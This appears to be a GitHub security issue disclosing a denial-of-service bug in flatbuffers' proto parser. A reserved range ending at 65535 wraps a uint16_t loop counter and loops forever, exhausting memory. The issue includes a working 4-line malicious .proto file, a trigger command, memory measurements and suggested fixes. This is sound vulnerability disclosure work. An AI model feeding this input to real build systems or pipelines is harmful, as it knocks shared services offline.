-
Notifications
You must be signed in to change notification settings - Fork 3.5k
Description
Proto Reserved Range Parser Infinite Loop / OOM Denial of Service
Summary
The proto reserved range parser in idl_parser.cpp uses voffset_t (uint16_t) as the loop counter. When parsing reserved 0 to 65535, the loop counter increments from 65535 and wraps to 0 (unsigned integer wrapping), creating an infinite loop that consumes ~4 GB/sec of RAM until OOM. A single 4-line .proto file causes flatc --proto to hang indefinitely.
This issue was reported to Google VRP and closed with permission to publicly disclose.
Affected Version
- Repository: google/flatbuffers
- Commit:
94d6b80(flatc 25.12.19) - Affected file:
src/idl_parser.cppline 3175
Root Cause
src/idl_parser.cpp L3174-3176:
voffset_t from = 0;
// ...
if (range) {
for (voffset_t id = from + 1; id <= attribute; id++)
struct_def->reserved_ids.push_back(id);voffset_t is uint16_t. When attribute = 65535 (max uint16_t), the loop increments id from 65535 → wraps to 0. Since 0 <= 65535 is always true, the loop never terminates, continuously pushing to reserved_ids and consuming memory.
Reproduction
Malicious .proto file
Save as fb021_reserved_dos.proto:
syntax = "proto3";
message Foo {
reserved 0 to 65535;
string name = 1;
}Trigger
timeout 5 flatc --proto fb021_reserved_dos.protoExpected Output
$ timeout 5 flatc --proto fb021_reserved_dos.proto
EXIT CODE: 124 (killed by timeout — infinite loop)
Memory monitoring:
t=1s: RSS=4,176,416 KB (~4 GB) ← still alive, growing
t=2s: RSS=826,704 KB
t=3s: RSS=791,856 KB
Had to be killed.
Process enters an infinite loop consuming all available memory until killed by OOM or timeout.
Impact
- CWE-835 (Loop with Unreachable Exit Condition) + CWE-400 (Uncontrolled Resource Consumption)
- CVSS 3.1: 7.5 HIGH —
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Any CI/CD pipeline running
flatc --protowith untrusted.protofiles is vulnerable to denial of service - Minimal input: 4-line
.protofile causes ~4 GB memory consumption per second - OSS-Fuzz does not cover proto parsing, so this is unlikely to be caught automatically
Suggested Fix
Use a wider type for the loop counter, or add a bounds check:
// Option 1: Use uint32_t for the loop counter
for (uint32_t id = static_cast<uint32_t>(from) + 1;
id <= static_cast<uint32_t>(attribute); id++)
// Option 2: Check for wrap-around
if (attribute == std::numeric_limits<voffset_t>::max()) {
// Handle error: reserved range too large
return Error("reserved range exceeds maximum field ID");
}